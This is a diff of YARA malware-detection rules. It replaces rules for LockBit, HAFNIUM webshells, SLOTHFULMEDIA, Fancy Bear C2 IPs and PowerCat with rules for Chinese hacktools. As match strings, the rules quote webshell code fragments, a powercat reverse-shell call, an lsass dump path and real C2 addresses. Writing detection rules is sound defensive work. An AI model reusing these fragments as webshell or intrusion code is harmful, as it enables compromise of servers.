+		$s18 = "WiNrOOt" fullword wide
+		$s20 = " Dll_LoadEx(&A)..." fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <120KB and 3 of them
 }
-rule SIGNATURE_BASE_MAL_Python_Backdoor_Script_Nov23 : CVE_2023_4966 FILE
+rule SIGNATURE_BASE_Dat_Report : FILE
 {
 	meta:
-		description = "Detects a trojan (written in Python) that communicates with c2 - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
-		author = "X__Junior"
-		id = "861f9ce3-3c54-5c56-b50b-2b7536783f6e"
-		date = "2023-11-23"
+		description = "Chinese Hacktool Set - file report.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c77633a7-0c2f-5efa-b58b-635546bfec95"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L56-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b336f6438a420af49b1b0144039f1051f12c0c54f77a94e2f947f71d1f6230b3"
-		score = 80
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L605-L619"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4582a7c1d499bb96dad8e9b227e9d5de9becdfc2"
+		logic_hash = "e3b21f37fae388958758af535727844d6e9696862fd9968340e1a619592c53b6"
+		score = 75
 		quality = 85
-		tags = "CVE-2023-4966, FILE"
-		hash1 = "906602ea3c887af67bcb4531bbbb459d7c24a2efcb866bcb1e3b028a51f12ae6"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "port = 443 if \"https\"" ascii
-		$s2 = "winrm.Session basic error" ascii
-		$s3 = "Windwoscmd.run_cmd(str(cmd))" ascii
+		$s1 = "<a href=\"http://www.xfocus.net\">X-Scan</a>" fullword ascii
+		$s2 = "REPORT-ANALYSIS-OF-HOST" fullword ascii
 
 	condition:
-		filesize <50KB and all of them
+		uint16(0)==0x5a4d and filesize <480KB and all of them
 }
-rule SIGNATURE_BASE_APT_RANSOM_Lockbit_Forensicartifacts_Nov23
+rule SIGNATURE_BASE_Dos_Iis7 : FILE
 {
 	meta:
-		description = "Detects patterns found in Lockbit TA attacks exploiting Citrixbleed vulnerability CVE 2023-4966"
-		author = "Florian Roth"
-		id = "04bde599-2a5b-5a33-a6f1-67d57a564946"
-		date = "2023-11-22"
+		description = "Chinese Hacktool Set - file iis7.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8813b7a2-0d44-5f26-80ab-0f493c09a027"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L73-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6ba1d47e2cac72143c4612c420777024f114afc007c7b15251a58819654aeff1"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L621-L638"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
+		logic_hash = "e0cbcb63cd2a542e6394792070392d393b2a3485f5a5ef3c6ba0f113ae9270ec"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "taskkill /f /im sqlwriter.exe /im winmysqladmin.exe /im w3sqlmgr.exe"
-		$x2 = " 1> \\\\127.0.0.1\\admin$\\__"
+		$s0 = "\\\\localhost" fullword ascii
+		$s1 = "iis.run" fullword ascii
+		$s3 = ">Could not connecto %s" fullword ascii
+		$s5 = "WHOAMI" ascii
+		$s13 = "WinSta0\\Default" fullword ascii
 
 	condition:
-		1 of ($x*)
+		uint16(0)==0x5a4d and filesize <140KB and all of them
 }
-rule SIGNATURE_BASE_VULN_Keepass_DB_Brute_Forcible : FILE
+rule SIGNATURE_BASE_Switchsniffer : FILE
 {
 	meta:
-		description = "Detects KeePass .kdbx password stores, which could be brute forced to steal the credentials. With AES-KDF and less than 65536 iterations the cracking speed with a single GPU is 20k/s, for the old default of 6.000 iterations it's 200k/s. Best remediation is to change the key derivative function to Argon2d and delete all older versions of the .kdbx"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b1a86e03-b3d1-5abc-9287-a4846451caff"
-		date = "2023-07-20"
+		description = "Chinese Hacktool Set - file SwitchSniffer.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "6019f042-10ab-5899-8b1b-28b2609e9623"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://keepass.info/help/base/security.html#secdictprotect"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_keepass_brute_forcible.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "14460f7d4976a3bbd6de2f7cfccfbfec35eb780ab762396a6490669ddde59ce8"
-		score = 60
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L640-L654"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1e7507162154f67dff4417f1f5d18b4ade5cf0cd"
+		logic_hash = "4c75473399a7d47b63c6247248fd2792c675740ac671028b1c0a8ba1a02f35aa"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$keepass_magic = { 03 D9 A2 9A 67 FB 4B B5 }
-		$below_65536_rounds = { 06 08 00 ?? ?? 00 00 00 00 00 00 07 10 00 }
+		$s0 = "NextSecurity.NET" fullword wide
+		$s2 = "SwitchSniffer Setup" fullword wide
 
 	condition:
-		$keepass_magic at 0 and $below_65536_rounds at 108
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_SLOTHFULMEDIA_Oct20_1 : FILE
+rule SIGNATURE_BASE_Dbexpora : FILE
 {
 	meta:
-		description = "Detects SLOTHFULMEDIA malware"
+		description = "Chinese Hacktool Set - file dbexpora.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cc413225-f084-5859-bc27-04eb018d8894"
-		date = "2020-10-01"
+		id = "43297ce9-60f3-5b69-b7d8-904fffe622fe"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_iamtheking.yar#L2-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e50bda40eb05767e0903c3d8dd62b4e0290d89740c82c8b7f391d5763dc35156"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L656-L671"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b55b007ef091b2f33f7042814614564625a8c79f"
+		logic_hash = "2dad6cedae6a3a446c2c4829516bffa5608ea4d1c13c907796cf4d13ec37965e"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "64d78eec46c9ddd4b9a366de62ba0f2813267dc4393bc79e4c9a51a9bb7e6273"
-		hash2 = "927d945476191a3523884f4c0784fb71c16b7738bd7f2abd1e3a198af403f0ae"
-		hash3 = "f0503f0131040b805e106eafe64a65d9404a0e279f052237b868e456c34d36e6"
-		hash4 = "ed5258306c06d6fac9b13c99c7c8accc7f7fa0de4cf4de4f7d9eccad916555f5"
-		hash5 = "04ca010f4c8997a023fabacae230698290e3ff918a86703c5e0a2a6983b039eb"
-		hash6 = "cb2adcaaa25bb6b8a9f1c685c219f8d6d78aa5cfd65c633f4d255ff81da2c517"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$xc1 = { 25 73 26 69 3D 25 64 00 48 54 54 50 2F 31 2E 31
-               00 00 00 00 50 4F 53 54 00 00 00 00 43 6F 6E 74
-               65 6E 74 2D 4C 65 6E 67 74 68 3A 20 25 64 00 00
-               5C 00 53 00 65 00 74 00 75 00 70 00 55 00 69 00
-               00 00 00 00 25 00 73 00 25 00 73 00 5F 00 25 00
-               64 00 2E 00 64 00 61 00 74 }
-		$xc2 = { 2F 76 3F 6D 3D 00 00 00 35 30 31 00 32 30 30 00
-               2A 00 2E 00 2A 00 00 00 25 00 73 00 00 00 00 00
-               53 00 65 00 44 00 65 00 62 00 75 00 67 00 50 00
-               72 00 69 00 76 00 69 00 6C 00 65 00 67 00 65 }
-		$xc3 = { 00 25 00 73 00 7C 00 25 00 73 00 7C 00 25 00 73
-               00 7C 00 25 00 73 00 00 00 5C 00 46 00 69 00 6C
-               00 74 00 65 00 72 00 33 00 2E 00 6A 00 70 00 67 }
-		$sc1 = { 25 74 65 6D 70 25 00 00 25 73 5C 25 73 2E 65 78
-               65 00 00 00 25 74 65 6D 70 25 00 00 25 73 5C 25
-               73 2E 65 78 65 }
-		$sc2 = { 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65
-               74 2D 73 74 72 65 61 6D 2C 61 70 70 6C 69 63 61
-               74 69 6F 6E 2F 78 68 74 6D 6C 00 00 25 73 26 69
-               3D 25 64 00 48 54 54 50 2F 31 2E 31 00 00 00 00
-               50 4F 53 54 }
-		$s1 = "%s%s_%d.dat" wide fullword
-		$s2 = "Local Security Process" wide fullword
-		$s3 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75" ascii fullword
-		$s4 = "Global%s%d" wide fullword
-		$s5 = "ExtKeyloggerStart" ascii fullword
-		$s6 = "GetExtendedTcpTable" ascii fullword
+		$s0 = "SELECT A.USER FROM SYS.USER_USERS A " fullword ascii
+		$s12 = "OCI 8 - OCIDescriptorFree" fullword ascii
+		$s13 = "ORACommand *" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 3 of them ) or 4 of them
+		uint16(0)==0x5a4d and filesize <835KB and all of them
 }
-rule SIGNATURE_BASE_COZY_FANCY_BEAR_Hunt : FILE
+rule SIGNATURE_BASE_Sqlcracker : FILE
 {
 	meta:
-		description = "Detects Cozy Bear / Fancy Bear C2 Server IPs"
+		description = "Chinese Hacktool Set - file SQLCracker.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e81b4368-7383-5a48-a89a-f91b9306326e"
-		date = "2016-06-14"
+		id = "7d7ff2cf-81fb-5a04-a97f-577c306137a9"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fancybear_dnc.yar#L10-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9009f181eeecce0ae322ba24335426399cf4484dfc9b7ea6905fb163b4bf0a25"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L673-L690"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1aa5755da1a9b050c4c49fc5c58fa133b8380410"
+		logic_hash = "3724f4b746da413f99880564ae72bc0de867120f1f7eacaf856d42492ebe359e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "185.100.84.134" ascii wide fullword
-		$s2 = "58.49.58.58" ascii wide fullword
-		$s3 = "218.1.98.203" ascii wide fullword
-		$s4 = "187.33.33.8" ascii wide fullword
-		$s5 = "185.86.148.227" ascii wide fullword
-		$s6 = "45.32.129.185" ascii wide fullword
-		$s7 = "23.227.196.217" ascii wide fullword
+		$s0 = "msvbvm60.dll" fullword ascii
+		$s1 = "_CIcos" fullword ascii
+		$s2 = "kernel32.dll" fullword ascii
+		$s3 = "cKmhV" fullword ascii
+		$s4 = "080404B0" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <125KB and all of them
 }
-rule SIGNATURE_BASE_COZY_FANCY_BEAR_Pagemgr_Hunt : FILE
+rule SIGNATURE_BASE_Freeversion_Debug : FILE
 {
 	meta:
-		description = "Detects a pagemgr.exe as mentioned in the CrowdStrike report"
+		description = "Chinese Hacktool Set - file debug.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3c5c8843-81ba-510c-82ed-4b6e2286bdb2"
-		date = "2016-06-14"
+		id = "2d69a39a-0da5-56ca-87a5-9116dea6c950"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fancybear_dnc.yar#L30-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c6055b7cd04b994c80395276e83bec664b7dd32f8093411bfde0850cca39e9f7"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L692-L711"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
+		logic_hash = "f7f8302c70c5aed1885724a1bca4efdf0547cc5be62e7dd6bcd8cc2079f71f96"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "pagemgr.exe" wide fullword
+		$s0 = "c:\\Documents and Settings\\Administrator\\" ascii
+		$s1 = "Got WMI process Pid: %d" ascii
+		$s2 = "This exploit will execute" ascii
+		$s6 = "Found token %s " ascii
+		$s7 = "Running reverse shell" ascii
+		$s10 = "wmiprvse.exe" fullword ascii
+		$s12 = "SELECT * FROM IIsWebInfo" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		uint16(0)==0x5a4d and filesize <820KB and 3 of them
 }
-rule SIGNATURE_BASE_WEBSHELL_ASP_Embedded_Mar21_1 : FILE
+rule SIGNATURE_BASE_Dos_Look : FILE
 {
 	meta:
-		description = "Detects ASP webshells"
+		description = "Chinese Hacktool Set - file look.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7cf7db9d-8f8a-51db-a0e6-84748e8f9e1f"
-		date = "2021-03-05"
+		id = "910d1469-9173-5a7d-91ea-a50ee921f662"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L2-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4a8b4cea6f53dad9771cb694ec55f305f04dfdbd8e663154cad672ca414c138c"
-		score = 85
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L713-L728"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e1a37f31170e812185cf00a838835ee59b8f64ba"
+		logic_hash = "341c72eaa5db1953e008423374c3f322de0f8dc33fd8181362172982b52e2b8a"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<script runat=\"server\">" nocase
-		$s2 = "new System.IO.StreamWriter(Request.Form["
-		$s3 = ".Write(Request.Form["
+		$s1 = "<description>CHKen QQ:41901298</description>" fullword ascii
+		$s2 = "version=\"9.9.9.9\"" fullword ascii
+		$s3 = "name=\"CH.Ken.Tool\"" fullword ascii
 
 	condition:
-		filesize <100KB and all of them
+		uint16(0)==0x5a4d and filesize <40KB and all of them
 }
-rule SIGNATURE_BASE_APT_WEBSHELL_HAFNIUM_Secchecker_Mar21_1 : FILE
+rule SIGNATURE_BASE_Ntgodmode : FILE
 {
 	meta:
-		description = "Detects HAFNIUM SecChecker webshell"
+		description = "Chinese Hacktool Set - file NtGodMode.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "73db3d78-7ece-53be-9efb-d19801993d5e"
-		date = "2021-03-05"
+		id = "3de620bf-0405-536b-9f6d-3a7f02417b20"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/markus_neis/status/1367794681237667840"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L18-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e0e4df860bdde7d5c277f596535c493d926095be6f46f6ba41b6177afbfc5cd9"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L730-L747"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8baac735e37523d28fdb6e736d03c67274f7db77"
+		logic_hash = "55efa908ebfcede207d3fe0b1072cce262af0e627e91ba8746e7a8924b8e75bd"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "<%if(System.IO.File.Exists(\"c:\\\\program files (x86)\\\\fireeye\\\\xagt.exe" ascii
-		$x2 = "\\csfalconservice.exe\")){Response.Write( \"3\");}%></head>" ascii fullword
+		$s0 = "to HOST!" fullword ascii
+		$s1 = "SS.EXE" fullword ascii
+		$s5 = "lstrlen0" fullword ascii
+		$s6 = "Virtual" fullword ascii
+		$s19 = "RtlUnw" fullword ascii
 
 	condition:
-		uint16(0)==0x253c and filesize <1KB and 1 of them or 2 of them
+		uint16(0)==0x5a4d and filesize <45KB and all of them
 }
-rule SIGNATURE_BASE_APT_HAFNIUM_Forensic_Artefacts_Mar21_1
+rule SIGNATURE_BASE_Webcrack4_Routerpasswordcracking : FILE
 {
 	meta:
-		description = "Detects forensic artefacts found in HAFNIUM intrusions"
+		description = "Chinese Hacktool Set - file WebCrack4-RouterPasswordCracking.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "872822b0-34d9-5ae4-a532-6a8786494fa9"
-		date = "2021-03-02"
+		id = "e3d50ff8-e58d-5c60-9acd-25ba95a21f68"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L35-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eb86595956092506c2e29373faaf39a3987f9feed36a53b191bedd498db05cbb"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L749-L766"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "00c68d1b1aa655dfd5bb693c13cdda9dbd34c638"
+		logic_hash = "48456f82163806852ecef3d71c2c8247f6c74c31ce28472c80a914a98247bdb3"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "lsass.exe C:\\windows\\temp\\lsass" ascii wide fullword
-		$s2 = "c:\\ProgramData\\it.zip" ascii wide fullword
-		$s3 = "powercat.ps1'); powercat -c" ascii wide fullword
+		$s0 = "http://www.site.com/test.dll?user=%USERNAME&pass=%PASSWORD" fullword ascii
+		$s1 = "Username: \"%s\", Password: \"%s\", Remarks: \"%s\"" fullword ascii
+		$s14 = "user:\"%s\" pass: \"%s\" result=\"%s\"" fullword ascii
+		$s16 = "Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)" fullword ascii
+		$s20 = "List count out of bounds (%d)+Operation not allowed on sorted string list%String" wide
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <5000KB and 2 of them
 }
-rule SIGNATURE_BASE_APT_WEBSHELL_HAFNIUM_Chopper_Webshell : APT HAFNIUM WEBSHELL FILE
+rule SIGNATURE_BASE_Hscan_Gui : FILE
 {
 	meta:
-		description = "Detects Chopper WebShell Injection Variant (not only Hafnium related)"
-		author = "Markus Neis,Swisscom"
-		id = "25dcf166-4aea-5680-b161-c5fc8d74b987"
-		date = "2021-03-05"
+		description = "Chinese Hacktool Set - file hscan-gui.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "27f9d2e9-0a62-57ca-9061-c32945c59c7e"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L50-L65"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c185a8da2a18fa59a8eeb36dbd95ba12c9c61717efc5f2d19d2d5b27ee243f2b"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L768-L783"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1885f0b7be87f51c304b39bc04b9423539825c69"
+		logic_hash = "c87cfe78324638ac9d35c7fd1e47f24014c470b0892ceceaf394278d9706157b"
 		score = 75
 		quality = 85
-		tags = "APT, HAFNIUM, WEBSHELL, FILE"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "runat=\"server\">" nocase
-		$s1 = "<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request" nocase
-		$s2 = "protected void Page_Load(object sender, EventArgs e){System.IO.StreamWriter sw = new System.IO.StreamWriter(Request.Form[\"p\"] , false, Encoding.Default);sw.Write(Request.Form[\"f\"]);"
-		$s3 = "<script language=\"JScript\" runat=\"server\"> function Page_Load(){eval (Request[\"" nocase
+		$s0 = "Hscan.EXE" fullword wide
+		$s1 = "RestTool.EXE" fullword ascii
+		$s3 = "Hscan Application " fullword wide
 
 	condition:
-		filesize <10KB and $x1 and 1 of ($s*)
+		uint16(0)==0x5a4d and filesize <550KB and all of them
 }
-rule SIGNATURE_BASE_APT_WEBSHELL_Tiny_Webshell : APT HAFNIUM WEBSHELL FILE
+rule SIGNATURE_BASE_S_Multifunction_Scanners_S : FILE
 {
 	meta:
-		description = "Detects WebShell Injection"
-		author = "Markus Neis,Swisscom"
-		id = "aa2fcecc-4c8b-570d-a81a-5dfb16c04e05"
-		date = "2021-03-05"
+		description = "Chinese Hacktool Set - file s.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7fb90a59-116d-5fa7-b85b-cbb1af660666"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L67-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "099c8625c58b315b6c11f5baeb859f4c"
-		logic_hash = "9309f9b57353b6fe292048d00794699a8637a3e6e429c562fb36c7e459003a3b"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L785-L809"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "79b60ffa1c0f73b3c47e72118e0f600fcd86b355"
+		logic_hash = "96f0692c54d74388f8602a03475d95a2fcd89692dd189f9363592745a70c234b"
 		score = 75
 		quality = 85
-		tags = "APT, HAFNIUM, WEBSHELL, FILE"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "<%@ Page Language=\"Jscript\" Debug=true%>"
-		$s1 = "=Request.Form(\""
-		$s2 = "eval("
+		$s0 = "C:\\WINDOWS\\temp\\pojie.exe /l=" fullword ascii
+		$s1 = "C:\\WINDOWS\\temp\\s.exe" fullword ascii
+		$s2 = "C:\\WINDOWS\\temp\\s.exe tcp " fullword ascii
+		$s3 = "explorer.exe http://www.hackdos.com" fullword ascii
+		$s4 = "C:\\WINDOWS\\temp\\pojie.exe" fullword ascii
+		$s5 = "Failed to read file or invalid data in file!" fullword ascii
+		$s6 = "www.hackdos.com" fullword ascii
+		$s7 = "WTNE / MADE BY E COMPILER - WUTAO " fullword ascii
+		$s11 = "The interface of kernel library is invalid!" fullword ascii
+		$s12 = "eventvwr" fullword ascii
+		$s13 = "Failed to decompress data!" fullword ascii
+		$s14 = "NOTEPAD.EXE result.txt" fullword ascii
 
 	condition:
-		filesize <300 and all of ($s*) and $x1
+		uint16(0)==0x5a4d and filesize <8000KB and 4 of them
 }
-rule SIGNATURE_BASE_HKTL_PS1_Powercat_Mar21 : FILE
+rule SIGNATURE_BASE_HKTL_CN_Dos_Getpass : FILE
 {
 	meta:
-		description = "Detects PowerCat hacktool"
+		description = "Chinese Hacktool Set - file GetPass.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ae3963e8-2fe9-5bc3-bf72-95f136622832"
-		date = "2021-03-02"
-		modified = "2023-12-05"
-		reference = "https://github.com/besimorhino/powercat"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hafnium.yar#L84-L103"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cbd5c6f7c5b4ed713482588ee4490a2326fe11cfaacfb3bfc6a6d94130a8bc83"
+		id = "08635096-474c-5fdf-825e-6c7c8c8d4061"
+		date = "2015-06-13"
+		modified = "2023-01-06"
+		old_rule_name = "Dos_GetPass"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L811-L830"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
